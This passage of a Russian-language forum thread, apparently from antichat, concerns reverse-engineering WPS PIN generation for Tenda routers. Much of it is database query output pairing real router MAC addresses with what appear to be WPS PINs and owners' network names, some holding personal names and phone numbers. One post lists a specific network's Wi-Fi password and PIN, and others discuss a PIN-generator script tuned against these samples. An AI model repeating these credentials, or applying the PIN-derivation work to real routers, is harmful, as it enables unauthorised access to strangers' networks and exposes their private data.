Tenda Realtek Router, firmware: V12.01.01.42_multi 34171608 Madhuram,
Tenda Realtek Router, firmware: V12.03.01.05_pt 10425954 Matheus -SpeedNet
*************************** 16. row ***************************
MAC: 04:95:E6:A0:06:A8
models:
Tenda Realtek Router, firmware: V12.01.01.29_multi 87776768 Netfiber_A006A8,
Tenda Realtek Router, firmware: V12.01.01.45_multi 23761995 harsha
*************************** 17. row ***************************
MAC: 04:95:E6:C2:1C:E0
models:
Tenda Realtek Router, firmware: V12.01.01.39_multi 62956246 GRAF,
Tenda Realtek Router, firmware: V12.01.01.45_multi 27799291 Mahlaqa House
*************************** 18. row ***************************
MAC: 04:95:E6:C9:25:78
models:
Tenda Realtek Router, firmware: V12.01.01.45_multi 13801342 Genex khurampur,
Tenda Realtek Router, firmware: V12.01.01.52_multi 31598873 CYBER_NET
*************************** 19. row ***************************
MAC: 04:95:E6:C9:A9:18
models:
Tenda Realtek Router, firmware: V12.01.01.33_multi 70228007 LEROY,
Tenda Realtek Router, firmware: V12.01.01.52_multi 86295703 CYBERIAN%NET%SHAYAN%03110836779
*************************** 20. row ***************************
MAC: 04:95:E6:CA:90:60
models:
Tenda Realtek Router, firmware: V12.01.01.33_multi 36541379 WIFI-SARMIENTO,
Tenda Realtek Router, firmware: V12.01.01.48_multi 64523927 Arpit home
*************************** 21. row ***************************
MAC: 50:0F:F5:B7:0D:90
models:
Tenda Realtek Router, firmware: V02.03.01.21_cn 67719570 Tenda_B70D90,
Tenda Realtek Router, firmware: V12.01.01.48_multi 56124309 Grozz
*************************** 22. row ***************************
MAC: C8:3A:35:06:C7:30
models:
Tenda Realtek Router, firmware: V11.13.01.23_multi 61925373 OLACABLE06C730,
Tenda Realtek Router, firmware: V11.13.01.25_multi 43217793 Quina de PitГѓВє
*************************** 23. row ***************************
MAC: C8:3A:35:08:BA:E8
models:
Tenda Realtek Router, firmware: V11.13.01.23_multi 58993354 WARIAN.NET-BAE8,
Tenda Realtek Router, firmware: V11.13.01.25_multi 76001697 NICOLAS
*************************** 24. row ***************************
MAC: C8:3A:35:5F:28:E8
models:
Tenda Realtek Router, firmware: V11.13.01.25_multi 66933533 CsT_Casella,
Tenda Realtek Router, firmware: V12.01.01.54_multi 18708172 HumeeHumee
*************************** 25. row ***************************
MAC: C8:3A:35:8E:DD:10
models:
Tenda Realtek Router, firmware: V11.13.01.25_multi 14187094 Tenda_8EDD10,
Tenda Realtek Router, firmware: V12.01.01.33_multi 13596552 A B Net @ ATHER
*************************** 26. row ***************************
MAC: C8:3A:35:AA:53:00
models:
Tenda Realtek Router, firmware: V11.13.01.23_multi 60353320 GIGALAN_WIFI,
Tenda Realtek Router, firmware: V12.01.01.29_multi 51724870 n'y pense meme pas
*************************** 27. row ***************************
MAC: C8:3A:35:BF:94:10
models:
Tenda Realtek Router, firmware: V11.13.01.23_multi 52232244 kornik,
Tenda Realtek Router, firmware: V12.01.01.32_multi 26402994 10LineNET_ENES
*************************** 28. row ***************************
MAC: C8:3A:35:C6:E7:E0
models:
Tenda Realtek Router, firmware: V11.13.01.23_multi 11959281 Milos,
Tenda Realtek Router, firmware: V12.01.01.29_pt 75360764 Coquinho
*************************** 29. row ***************************
MAC: C8:3A:35:C7:1E:48
models:
Tenda Realtek Router, firmware: V11.13.01.23_multi 36407460 BMF,
Tenda Realtek Router, firmware: V12.01.01.29_pt 19803821 MARILENE
*************************** 30. row ***************************
MAC: C8:3A:35:D9:51:60
models:
Tenda Realtek Router, firmware: V12.01.01.29_multi 11879916 Aleyda Melendez,
Tenda Realtek Router, firmware: V12.01.01.29_pt 13909215 TurboNet_Jhon_Yslaine
30 rows in set (2.26 sec)

Это только по Реалтекам.

А всего в базе нашлось 800 фактов реюзинга маков, среди которых есть 38 подозрений на тройной реюзинг.

Isica
14.07.2020, 05:05
38 подозрений на тройной реюзинг.





*************************** 1. row ***************************
MAC: C8:3A:35:01:49:80
models:
Tenda 11N Wireless Router 60075345 Tenda_014980,
Tenda 11N Wireless Router 10882900 Maria,
Tenda 3G 11N Router 00843522 E7Y
*************************** 2. row ***************************
MAC: C8:3A:35:02:DB:40
models:
Tenda 11N Wireless Router 61379862 NuCom_02DB40,
Tenda 11N Wireless Router 25086164 NATALINA_RSnet_FIBRA,
Tenda Realtek Router, firmware: V12.01.01.29_multi 54823624 Alal
*************************** 3. row ***************************
MAC: C8:3A:35:03:09:C0
models:
Tenda 11N Wireless Router 69856631 Omar,
Tenda 11N Wireless Router 00000000 NuCom_339CB8,
Tenda Wireless-N Router (rebranded) 01991048 Baterias3Amigos
*************************** 4. row ***************************
MAC: C8:3A:35:03:9A:A0
models:
Tenda 11N Wireless Router 82351014 Rede Ideia Valerio Neto,
Tenda 11N Wireless Router 64905228 Rede Ideia Valerio Neto,
Tenda Wireless-N Router 02361925 FabricOfPain
*************************** 5. row ***************************
MAC: C8:3A:35:03:FA:C8
models:
Tenda 11N Wireless Router 60210548 cleide,
Tenda 11N Wireless Router 45304347 EDITE&LUCIANO,
Tenda Realtek Router, firmware: V12.01.01.29_multi 55230278 redjep
*************************** 6. row ***************************
MAC: C8:3A:35:05:06:98
models:
Tenda 11N Wireless Router 10987827 Polipharm-Fiber,
Tenda 11N Wireless Router 03293683 Geri_Stanoeva,
Tenda Realtek Router, firmware: V12.01.01.29_multi 12947102 Hridoy-Wifi
*************************** 7. row ***************************
MAC: C8:3A:35:05:51:28
models:
Tenda 11N Wireless Router 25086164 GABY_JOAO,
Tenda 11N Wireless Router 03484562 Larita,
Tenda Realtek Router, firmware: V12.01.01.48_multi 86021432 Musfika
*************************** 8. row ***************************
MAC: C8:3A:35:06:CD:E8
models:
Tenda 11N Wireless Router 61473812 Paloma Karine,
Tenda 11N Wireless Router 04459286 Tenda912,
Tenda Realtek Router, firmware: V11.13.01.23_multi 18661668 Weronika
*************************** 9. row ***************************
MAC: C8:3A:35:08:77:38
models:
Tenda 11N Wireless Router 27944271 cezar-dealnet,
Tenda 11N Wireless Router 00000000 Akashshagor,
Tenda Realtek Router, firmware: V11.13.01.23_multi 71762142 ShabanShabanov
*************************** 10. row ***************************
MAC: C8:3A:35:09:1D:28
models:
Tenda 11N Wireless Router 94139389 fatme92,
Tenda 11N Wireless Router 43963553 Tenda_091D28,
Tenda Realtek Router, firmware: V11.13.01.23_multi 77257307 CsT_Zanfini
*************************** 11. row ***************************
MAC: C8:3A:35:16:D6:E0
models:
Tenda 11N Wireless Router 81405478 KAREN,
Tenda 11N Wireless Router 45304347 Link_One_16D6E0,
Tenda Wireless-N Router 14968006 Pinheiros_Gas
*************************** 12. row ***************************
MAC: C8:3A:35:18:A3:E8
models:
Tenda 11N Wireless Router 19469355 Tenda,
Tenda 11N Wireless Router 16148246 Peixe,
Tenda Realtek Router, firmware: V11.13.01.25_multi 50267668 mohamad/
*************************** 13. row ***************************
MAC: C8:3A:35:19:9C:90
models:
Tenda 11N Wireless Router 36204366 Fast Multi Network/MK,
Tenda 11N Wireless Router 00000000 nuovareti1601,
Tenda Wireless-N Router 16784802 apocalipse
*************************** 14. row ***************************
MAC: C8:3A:35:19:AC:98
models:
Tenda 11N Wireless Router 99061357 Tenda,
Tenda 11N Wireless Router 00000000 nuovareti1530,
Tenda Wireless-N Router (rebranded) 16825840 Stanleys Oaisis
*************************** 15. row ***************************
MAC: C8:3A:35:1C:F5:90
models:
Tenda 11N Wireless Router 35806691 Link_One_1CF590,
Tenda 11N Wireless Router 20397166 NOVANET-35244286-LEANDRO,
Tenda Wireless-N Router 18978728 bsnet_tenda86
*************************** 16. row ***************************
MAC: C8:3A:35:1D:5F:30
models:
Tenda 11N Wireless Router 58378748 Tenda_1D5F30,
Tenda 11N Wireless Router 39763280 TALITA_NOVANET_35244286,
Tenda 3G 11N Router 19249124 AMCO@Link3
*************************** 17. row ***************************
MAC: C8:3A:35:25:BB:38
models:
Tenda 11N Wireless Router 82488581 INTERLIBRE_5158,
Tenda 11N Wireless Router 35806691 DINIZ,
Tenda Wireless-N Router 24727600 ANGEL_MARIN_SL
*************************** 18. row ***************************
MAC: C8:3A:35:26:A3:D8
models:
Tenda 11N Wireless Router 66622208 Hasan&Husein,
Tenda 11N Wireless Router 25086164 NETSTARTTELECOM,
Tenda Wireless-N Router (rebranded) 25323122 Minha_Esperanca
*************************** 19. row ***************************
MAC: C8:3A:35:2A:6D:B8
models:
Tenda 11N Wireless Router 46403186 Daniel_RSnet_FIBRA,
Tenda 11N Wireless Router 35806691 Maykeleraquel,
Tenda Wireless-N Router 27806005 valio79
*************************** 20. row ***************************
MAC: C8:3A:35:2B:69:68
models:
Tenda 11N Wireless Router 93591515 Edileuza,
Tenda 11N Wireless Router 28450320 Tenda_2B6968,
Tenda Realtek Router, firmware: V11.13.01.23_multi 62193504 Ali_Logon
*************************** 21. row ***************************
MAC: C8:3A:35:2D:74:68
models:
Tenda 11N Wireless Router 42306573 EDVANIO,
Tenda 11N Wireless Router 29789207 rogeriocosta,
Tenda Realtek Router, firmware: V11.13.01.25_multi 62796279 farid navid
*************************** 22. row ***************************
MAC: C8:3A:35:2E:85:E8
models:
Tenda 11N Wireless Router 82109103 Falta de pagamento,
Tenda 11N Wireless Router 62225656 ipetrov,
Tenda Wireless-N Router (rebranded) 30489363 Nunes_Ciqueira
*************************** 23. row ***************************
MAC: C8:3A:35:30:E6:A0
models:
Tenda 11N Wireless Router 12432530 DigitalDamiao,
Tenda Wireless-N Router (rebranded) 32047684 Larissa,
Tenda Wireless-N Router (rebranded) 01042702 Larissa
*************************** 24. row ***************************
MAC: C8:3A:35:32:2D:88
models:
Tenda 11N Wireless Router 88983455 Tenda_322D88,
Tenda 11N Wireless Router 28316107 GILSON NET VINICIUS 9.8588-3602,
Tenda Wireless-N Router (rebranded) 32884562 RedeInfor_41017230_Gelter
*************************** 25. row ***************************
MAC: C8:3A:35:33:23:A8
models:
Tenda 11N Wireless Router 38822087 marvin74,
Tenda 11N Wireless Router 33514642 arimma,
Tenda Realtek Router, firmware: V11.13.01.23_multi 67261604 Tenda_3323A8
*************************** 26. row ***************************
MAC: C8:3A:35:33:EE:98
models:
Tenda 11N Wireless Router 35806691 Fabinho,
Tenda 11N Wireless Router 00000000 NuCom_33EE98,
Tenda Wireless-N Router 34034163 VEGA
*************************** 27. row ***************************
MAC: C8:3A:35:33:EF:70
models:
Tenda 11N Wireless Router 32271010 Tenda_33EF70,
Tenda 11N Wireless Router 24031196 Romualdo,
Tenda Wireless-N Router 34036327 Stoqn
*************************** 28. row ***************************
MAC: C8:3A:35:34:36:98
models:
Tenda 11N Wireless Router 35627739 CAFE ZOUBIR,
Tenda 11N Wireless Router 00000000 Vivacable_20870,
Tenda Wireless-N Router 34218488 StudioPT
*************************** 29. row ***************************
MAC: C8:3A:35:34:F2:E0
models:
Tenda 11N Wireless Router 36994410 Deborah,
Tenda 11N Wireless Router 35806691 REDE_3IRMAOS,
Tenda Realtek Router, firmware: V11.13.01.23_multi 57294216 Mancha-Home
*************************** 30. row ***************************
MAC: C8:3A:35:38:0C:68
models:
Micro DSL Tenda (96318REF | V1.1.6.8 en td) 98378944 star academy,
Tenda 11N Wireless Router 21071072 FAMILIA REIS,
Tenda 11N Wireless Router 16325692 Catarine
*************************** 31. row ***************************
MAC: C8:3A:35:3E:79:C0
models:
Tenda 11N Wireless Router 75443474 SKYNET_3521-4445_Tiago-Barbosa,
Tenda 11N Wireless Router 40944005 dinozavr,
Tenda Realtek Router, firmware: V11.13.01.20_multi 11559405 Skyfibernet(Edney)
*************************** 32. row ***************************
MAC: C8:3A:35:45:EF:10
models:
Tenda 11N Wireless Router 45831843 Pousada,
Tenda 11N Wireless Router 16337992 America FC,
Tenda Realtek Router, firmware: V11.13.01.23_multi 65713532 saadi
*************************** 33. row ***************************
MAC: C8:3A:35:45:F9:30
models:
Tenda 11N Wireless Router 45304347 casa das mulheres,
Tenda 11N Wireless Router 35861478 Goyal ply,
Tenda Realtek Router, firmware: V11.13.01.25_multi 19863528 Mohammadreza-WiFi
*************************** 34. row ***************************
MAC: C8:3A:35:4F:4B:C0
models:
Tenda 11N Wireless Router 51967369 Wifi_doma,
Tenda 11N Wireless Router 35806691 GS_Telecom_Josi,
Tenda Realtek 4G, firmware: L1-RW332M_V1.0.0.2_PT 13876449 LINk
*************************** 35. row ***************************
MAC: C8:3A:35:53:F5:B8
models:
Tenda 11N Wireless Router 55023924 PENTAGRAM,
Tenda 11N Wireless Router 24259248 Solar-energy,
Tenda Realtek Router, firmware: V11.13.01.23_multi 11331650 MINIC
*************************** 36. row ***************************
MAC: C8:3A:35:5B:80:B0
models:
Tenda 11N Wireless Router 86226110 Claudio,
Tenda 11N Wireless Router 15865281 Jean_Netcell,
Tenda Realtek Router, firmware: V11.13.01.23_multi 30547858 sajadwifi
*************************** 37. row ***************************
MAC: C8:3A:35:5C:9A:A8
models:
Tenda 11N Wireless Router 28742975 FIO1,
Tenda 11N Wireless Router 28096931 Blu_wifi_Dolores,
Tenda Wireless-N Router 60689047 tenda
*************************** 38. row ***************************
MAC: C8:3A:35:5C:9D:98
models:
Tenda 11N Wireless Router 61957701 Paeng,
Tenda Wireless-N Router 60696564 MARIAP_Network,
Tenda Wireless-N Router 60696556 MARIAP1
38 rows in set (8.70 sec)

TOX1C
15.07.2020, 16:13
Это они пальцем в небо в тенду с целевым алгоритмом попали или ещё что.



Похоже на кусок из кода из какой-то производственной утилиты, mass production tool или что-то эдакое. Скопипастили не посмотрев.

Собственно, вот и оно: ключ --l задает количество заливаемых из файла пинкодов в роутеры, --c переключает режим парсера из json в текстовый режим ключ-значение, --t - с какого mac адреса начать заливать.

Или наоборот - этот кусок как раз и относится к генератору. Ключ -t задает точку отсчета, ключ -l задает количество, которое надо нагенерировать.

Уже было такое, что в роутерах ZTE попадался алгоритм генерации wpa2 паролей, такой же как и у роутеров huawei hg520, только у этих алгоритм генерировал wep key.

Monohrom
15.07.2020, 16:15
-c -- closer mac with pin. like C8:3A:35:02:F2:F0=1759218. А это что может быть?

И откуда у Нетиса алгоритм Тенды?

Я бы не очень сильно привязывался к этому логу, есть шанс что они просто с балды указали и угадали. Так что это может быть неверный след. На нетисах я целевого алгоритма не видел пока что.

TOX1C
15.07.2020, 16:25
А это что может быть?



По умолчанию, в файле откуда берутся данные, внутри формат json

[{"bssid":"C8:3A:35:02:F2:F0":"pin":"1759218"}]

--c переключит заливайку с json на парсинг текста, типа такого

C8:3A:35:02:F2:F0=1759218



И откуда у Нетиса алгоритм Тенды?



Это не у нетиса алгоритм тенды. Колбасный цех, на котором этот шлак клепается, может выпускать и тенды, и нетисы, и тп-линки, и уйму небрендированного говна, которое потом оказывается на алиэкспрессе. Особенности производства + невнимательность и вот результат.

Monohrom
15.07.2020, 16:27
. Колбасный цех, на котором этот шлак клепается, может выпускать и тенды, и нетисы, и тп-линки



Тогда целевой алгоритм должен быть не только на Тендах. Нетисы сделаны небрежно и они глючные так что вполне вероятно что могли слить что-то по глупости

Monohrom
15.07.2020, 16:36
Похоже на кусок из кода из какой-то производственной утилиты



И эта утилита на javascript



console.log(`help:

-t -- tenda mac. like C8:3A:35:02:F2:F8x



Метод console.log() выводит отладочную информацию в консоль, т.е. скрывая ее от пользователей.

https://ru.stackoverflow.com/questions/358139/Что-такое-console-log-в-javascript

Это из джаваскрипта, они что-то и зачем-то отлаживали. В браузере?

binarymaster
15.07.2020, 17:04
И эта утилита на javascript



А откуда выдернул код? Покажи источник, может там есть что-то целиком.

Monohrom
15.07.2020, 20:09
А откуда выдернул код? Покажи источник, может там есть что-то целиком.



Нашёл в прошивке Netis WF2411D, в распакованной прошивке в папке /bin, бинарный файл cscript, в той же папки в бинарнике flash есть два алгоритма генерации пин-кода, это gen-pin - стандартный алгоритм от Реалтека основаный на времени и второй неизвестный алгоритм.

Isica
15.07.2020, 20:38
второй неизвестный алгоритм.



Так может это и есть наш целевой алгоритм?

Isica
15.07.2020, 20:41
Или наоборот - этот кусок как раз и относится к генератору. Ключ -t задает точку отсчета, ключ -l задает количество, которое надо нагенерировать.



Я голосую за этот вариант.

TOX1C
15.07.2020, 20:55
Это из джаваскрипта, они что-то и зачем-то отлаживали. В браузере?



Существуют программы, которые выглядят как настоящий софт, но внутри там браузер хромиум, а само приложение написано на джаваскрипте. Это нечто называется Electron. Вполне возможно, что на подобном извращении написан и технологический софт, всякое может быть. А браузерную js консоль вывели прямо в интерфейс приложения.



Тогда целевой алгоритм должен быть не только на Тендах. Нетисы сделаны небрежно и они глючные так что вполне вероятно что могли слить что-то по глупости



Не обязательно должен, но может всплыть еще где-то. У нетисов, насколько мне известно, алгоритма нет никакого, там рандомная генерация при загрузке роутера, а подключение по pin-коду не работает вообще (или не работало).

Слил этот код скорее всего что сам завод. Чтобы облегчить китайцам из нетиса страдания, и облегчить им адаптацию технологического софта под свои нужды, вместе с документацией дали исходники от другого проекта. А кто-то из нетиса жестко накосячил, и положил не то и не туда. Культура производства - это то, чего в Китае нет. Рас3.14здяйство похлеще отечественного. Исходники прошивок tenda ac роутеров, появились в сети похожим образом, скорее всего. Кто-то их тупо вынес на флешке))

Isica
15.07.2020, 21:01
C8:3A:35:02:F2:F0 1759218

Точка оказалась в базе....

Генератор нашёл пин-код

DeltaMAC - 16, DeltaPIN =456848, PIN = 1759218



В той выборке, что мне доступна, нет точки с DeltaMAC+-16 к искомому, так что проверить не могу. Но от других очень близких точек (+8 и -24) этот пин не находится, так что искомая точка, скорее всего, не целевая.

up

Нет, таки целевая, просто, как всегда, наблюдается смесь нескольких резонансных групп (видимо, снова реюзинг маков).

Isica
15.07.2020, 22:24
Я обрезал здесь только лишние DeltaMAC потому что их было очень много.



А можете показать весь вывод скрипта, а также пин от

C8:3A:35:02:F3:00?

4Fun
15.07.2020, 22:30
А можете показать весь вывод скрипта, а также пин от

C8:3A:35:02:F3:00?





ESSID: Doctor net- 81709982"_"AHMAD$
BSSID: C8:3A:35:02:F3:00
Password: 13140360
WPS PIN: 22160669
Date: 2020-07-11 03:17:55
Классический режим: https://paste.ubuntu.com/p/bh58QTXgG3/

Унифицированный режим: https://paste.ubuntu.com/p/fRj5hbG2HV/

Monohrom
15.07.2020, 22:35
А можете показать весь вывод скрипта, а также пин от

C8:3A:35:02:F3:00?



Вывод у @4Fun (https://forum.antichat.xyz/members/324235/) такой же как и у меня

Генератор через показывает правильный пин-код

TOX1C
15.07.2020, 23:03
Но от других очень близких точек (+8 и -24) этот пин не находится



Если предположить, что C8:3A:35:02:F2:F0 - это как раз и есть первое устройство в серии, то от устройств с меньшим MAC адресом брать пинкоды для вычисления бессмысленно, не подойдут.

C8:3A:35:02:F2:F8 1634243 - похоже на потенциальный дубль, после 17 идти 16 никак не может.

В диапазоне C8:3A:35:02:F3:* 3 устройства со static pin, одно 24bit pin - тоже не подходит.

Подходит появившаяся буквально пару дней назад точка, которую запостили выше.

А если поискать от очень дальних устройств, а не от близких?



есть шанс что они просто с балды указали и угадали.



Слабо верится в то, что китаец от балды, вручную набирал MAC и PIN в справку, и очень точно угадал. Разве что у него этот роутер перед носом висел.

Isica
15.07.2020, 23:16
Слабо верится в то, что китаец от балды, вручную набирал MAC и PIN в справку, и очень точно угадал. Разве что у него этот роутер перед носом висел.



+100



Если предположить, что C8:3A:35:02:F2:F0 - это как раз и есть первое устройство в серии, то от устройств с меньшим MAC адресом брать пинкоды для вычисления бессмысленно, не подойдут.



Однако наблюдается резонанс с C8:3A:35:02:F0:E8 (-520)

Так что, видимо, не первое (да и мак слишком некруглый, как для первого).

Isica
15.07.2020, 23:20
4Fun


[+] Found 92 records
[+] 55 anchor points defined
Любопытно, почему именно 55? Это у Вас максимальное кол-во векторов?

Monohrom
15.07.2020, 23:21
Слабо верится в то, что китаец от балды, вручную набирал MAC и PIN в справку, и очень точно угадал. Разве что у него этот роутер перед носом висел.



В любом случае то что я нашёл похоже на дебаг информацию которая попала в прошивку случайно, а алгоритм случайно в прошивку положить ну это уже клиника

Isica
16.07.2020, 00:01
Походу, обстановка с реюзингом маков в этом диапазоне:


*************************** 1. row ***************************
MAC: C8:3A:35:02:91:A0
models:
Tenda 11N Wireless Router 53541598 Nestor_angnes,
Tenda 11N Wireless Router 09278325 nuovareti1112,
Tenda 11N Wireless Router 01683523 BatMitko
*************************** 2. row ***************************
MAC: C8:3A:35:02:91:F0
models:
Tenda 11N Wireless Router 85467811 Rimann,
Tenda 11N Wireless Router 20002000 Rimann,
Tenda 11N Wireless Router 09278325 nuovareti1119
*************************** 3. row ***************************
MAC: C8:3A:35:02:BA:D8
models:
Tenda 11N Wireless Router 35806691 TOP-NET-FLORENCIO,
Tenda 11N Wireless Router 24366182 Inovacao,
Tenda 11N Wireless Router 01789041 DOM
*************************** 4. row ***************************
MAC: C8:3A:35:02:BB:E8
models:
Tenda 11N Wireless Router 96164464 NuCom_02BBE8,
Tenda 11N Wireless Router 70829570 Tenda_02BBE8,
Tenda 11N Wireless Router 17847643 Abdlhai RMS-Net
*************************** 5. row ***************************
MAC: C8:3A:35:02:C0:C0
models:
Tenda 11N Wireless Router 12345678 NuCom_02C0C0,
Tenda 11N Wireless Router 09278325 novareti1047,
Tenda 11N Wireless Router 01804164 NuCom_02C0C0
*************************** 6. row ***************************
MAC: C8:3A:35:02:C3:B0
models:
Tenda 11N Wireless Router 45304347 ...DARLENE...,
Tenda 11N Wireless Router 25332339 AirWifi_C3B0,
Tenda 11N Wireless Router 10650240 Tenda_02C3B0
*************************** 7. row ***************************
MAC: C8:3A:35:02:DA:00
models:
Tenda 11N Wireless Router 54693050 T@mer,
Tenda 11N Wireless Router 43665235 ALLAL BEN ABDELLAH,
Tenda 11N Wireless Router 01868807 Multilaser_WS01
*************************** 8. row ***************************
MAC: C8:3A:35:02:DB:40
models:
Tenda 11N Wireless Router 61379862 NuCom_02DB40,
Tenda 11N Wireless Router 25086164 NATALINA_RSnet_FIBRA,
Tenda Realtek Router, firmware: V12.01.01.29_multi 54823624 Alal
*************************** 9. row ***************************
MAC: C8:3A:35:02:05:80
models:
Tenda 11N Wireless Router 91482785 AKIWIFI34336,
Tenda 11N Wireless Router 57682693 Hibernian 805
*************************** 10. row ***************************
MAC: C8:3A:35:02:0A:D8
models:
Tenda 11N Wireless Router 79096560 Anna,
Tenda 11N Wireless Router 78649538 Mimi
*************************** 11. row ***************************
MAC: C8:3A:35:02:0A:E0
models:
Tenda 11N Wireless Router 17179232 Paga ai,
Tenda Wireless-N Router 01338560 Tenda
*************************** 12. row ***************************
MAC: C8:3A:35:02:11:70
models:
Tenda 11N Wireless Router 70272406 WLAN2,
Tenda 11N Wireless Router 11032809 Prime1689
*************************** 13. row ***************************
MAC: C8:3A:35:02:11:80
models:
Tenda 11N Wireless Router 87654321 Ta dificil,
Tenda 11N Wireless Router 14948497 Prime2197
*************************** 14. row ***************************
MAC: C8:3A:35:02:13:38
models:
Tenda 11N Wireless Router 46951502 EISYA-WIFI-FREE,
Tenda Realtek Router, firmware: V11.13.01.23_multi 45231377 nikolic
*************************** 15. row ***************************
MAC: C8:3A:35:02:13:E0
models:
Tenda 11N Wireless Router 35806691 Sonia,
Tenda 11N Wireless Router 25086164 SOUZA
*************************** 16. row ***************************
MAC: C8:3A:35:02:1C:D0
models:
Tenda 11N Wireless Router 74250226 QUANTIS,
Tenda 11N Wireless Router 34960844 Igor
*************************** 17. row ***************************
MAC: C8:3A:35:02:2F:70
models:
Tenda 11N Wireless Router 25086164 EUNICE,
Tenda 11N Wireless Router 01432169 Tenda_022F70
*************************** 18. row ***************************
MAC: C8:3A:35:02:34:48
models:
Tenda 11N Wireless Router 25086164 wagner_UltraFiber,
Tenda 11N Wireless Router 17860475 INTERLIBRE_4178
*************************** 19. row ***************************
MAC: C8:3A:35:02:3A:58
models:
Tenda 11N Wireless Router 35806691 Gustavo,
Tenda 11N Wireless Router 01460087 Biblioteca
*************************** 20. row ***************************
MAC: C8:3A:35:02:4E:18
models:
Tenda 11N Wireless Router 35806691 WALLINGTON,
Tenda 11N Wireless Router 01510645 ALI
*************************** 21. row ***************************
MAC: C8:3A:35:02:6F:18
models:
Tenda 11N Wireless Router 98765432 Jair,
Tenda 11N Wireless Router 12345670 ROREIA
*************************** 22. row ***************************
MAC: C8:3A:35:02:74:F8
models:
Tenda 11N Wireless Router 35806691 WiFi_Sandra,
Tenda 11N Wireless Router 14967108 AFFARA
*************************** 23. row ***************************
MAC: C8:3A:35:02:7A:88
models:
Tenda 11N Wireless Router 25086164 Moreno_Fixa,
Tenda Wireless-N Router (rebranded) 01624403 Alessi
*************************** 24. row ***************************
MAC: C8:3A:35:02:7C:68
models:
Tenda 11N Wireless Router 38936241 NetMin,
Tenda 11N Wireless Router 01629200 TomRaider
*************************** 25. row ***************************
MAC: C8:3A:35:02:7D:08
models:
Tenda 11N Wireless Router 63711394 Nour Net (fakir),
Tenda Realtek Router, firmware: V11.13.01.23_multi 69823787 Campina Digital F06
*************************** 26. row ***************************
MAC: C8:3A:35:02:82:E8
models:
Tenda 11N Wireless Router 80004127 Margarida Nogueira,
Tenda 11N Wireless Router 50685493 NuCom_0282E8
*************************** 27. row ***************************
MAC: C8:3A:35:02:87:50
models:
Tenda 11N Wireless Router 17275583 NuCom_028750,
Tenda 11N Wireless Router 01657128 Barny
*************************** 28. row ***************************
MAC: C8:3A:35:02:87:B8
models:
Tenda 11N Wireless Router 44680800 NuCom_0287B8,
Tenda 11N Wireless Router 35806691 Vado
*************************** 29. row ***************************
MAC: C8:3A:35:02:88:78
models:
Tenda 11N Wireless Router 96888841 NuCom_028878,
Tenda 11N Wireless Router 18572018 J-R-NET-208-71290220
*************************** 30. row ***************************
MAC: C8:3A:35:02:88:E0
models:
Tenda 11N Wireless Router 61478268 Musawar,
Tenda 11N Wireless Router 24296625 NuCom_0288E0
*************************** 31. row ***************************
MAC: C8:3A:35:02:89:08
models:
Tenda 11N Wireless Router 64847528 Tenda_028908,
Tenda 11N Wireless Router 34736074 SECTEUR SCOLAIRE TAMEZRITE
*************************** 32. row ***************************
MAC: C8:3A:35:02:89:90
models:
Tenda 11N Wireless Router 15186713 fawzi khayat,
Tenda 11N Wireless Router 14797316 REDE_MARIA_ALICE
*************************** 33. row ***************************
MAC: C8:3A:35:02:8A:48
models:
Tenda 11N Wireless Router 12345670 MOHIT_TENDA,
Tenda 11N Wireless Router 01664720 23
*************************** 34. row ***************************
MAC: C8:3A:35:02:8B:10
models:
Tenda 11N Wireless Router 18294644 abbass,
Tenda Wireless-N Router 01666724 djhome
*************************** 35. row ***************************
MAC: C8:3A:35:02:8B:30
models:
Tenda 11N Wireless Router 26778808 T.S,
Tenda 11N Wireless Router 01667042 Biliana
*************************** 36. row ***************************
MAC: C8:3A:35:02:8E:58
models:
Tenda 11N Wireless Router 35206347 Colombia,
Tenda 11N Wireless Router 16573949 mayada
*************************** 37. row ***************************
MAC: C8:3A:35:02:8F:30
models:
Tenda 11N Wireless Router 53625137 AirWifi_028F30,
Tenda 11N Wireless Router 46470591 KETELECOM0846
*************************** 38. row ***************************
MAC: C8:3A:35:02:8F:90
models:
Tenda 11N Wireless Router 79072519 Airwifi_028F90,
Tenda Wireless-N Router (rebranded) 01678246 Leuzingar
*************************** 39. row ***************************
MAC: C8:3A:35:02:8F:D8
models:
Tenda 11N Wireless Router 35806691 AMD,
Tenda 11N Wireless Router 01678963 Adriana
*************************** 40. row ***************************
MAC: C8:3A:35:02:90:20
models:
Tenda 11N Wireless Router 17575102 AirWifi_029020,
Tenda 11N Wireless Router 01679687 Integra
*************************** 41. row ***************************
MAC: C8:3A:35:02:92:90
models:
Tenda 11N Wireless Router 27880975 Tenda_029290,
Tenda 11N Wireless Router 01685923 Tenda_029290
*************************** 42. row ***************************
MAC: C8:3A:35:02:93:10
models:
Tenda 11N Wireless Router 35806691 VIATELECOM_JESUS_CRISTO,
Tenda 11N Wireless Router 01687200 Mimi
*************************** 43. row ***************************
MAC: C8:3A:35:02:94:D8
models:
Tenda 11N Wireless Router 45304347 Roze,
Tenda 11N Wireless Router 16724693 KOBAISSY-NET
*************************** 44. row ***************************
MAC: C8:3A:35:02:96:F0
models:
Tenda 11N Wireless Router 56153071 sashko,
Tenda 11N Wireless Router 01697124 nikita
*************************** 45. row ***************************
MAC: C8:3A:35:02:9D:10
models:
Tenda 11N Wireless Router 68340032 Tenda_029D10,
Tenda 11N Wireless Router 64883175 WISPEUROPA_2336
*************************** 46. row ***************************
MAC: C8:3A:35:02:9D:A0
models:
Tenda 11N Wireless Router 25086164 SPR_JWE,
Tenda Wireless-N Router 01714241 Dorothygigi
*************************** 47. row ***************************
MAC: C8:3A:35:02:9E:68
models:
Tenda 11N Wireless Router 89121566 AirWifi_029EG43,
Tenda 11N Wireless Router 25086164 SimoneCosta
*************************** 48. row ***************************
MAC: C8:3A:35:02:9E:88
models:
Tenda 11N Wireless Router 97603177 Airwifi_AB12C3,
Tenda 11N Wireless Router 19286341 Fiber Tech 03-458072
*************************** 49. row ***************************
MAC: C8:3A:35:02:A0:08
models:
Tenda 11N Wireless Router 71941233 Panasonic_FiberNett,
Tenda 11N Wireless Router 33569666 Tatiana.Fox.Net
*************************** 50. row ***************************
MAC: C8:3A:35:02:A0:F8
models:
Tenda 11N Wireless Router 25086164 boloyong,
Tenda 11N Wireless Router 09278325 nuovareti1098
*************************** 51. row ***************************
MAC: C8:3A:35:02:A2:B0
models:
Tenda 11N Wireless Router 25086164 ComercialSobradinho,
Tenda 11N Wireless Router 18456509 Tenda_02A2B0
*************************** 52. row ***************************
MAC: C8:3A:35:02:A7:88
models:
Tenda 11N Wireless Router 43180622 WISPEUROPA-2195,
Tenda 11N Wireless Router 25086164 Lenir_RedeConesul
*************************** 53. row ***************************
MAC: C8:3A:35:02:AA:28
models:
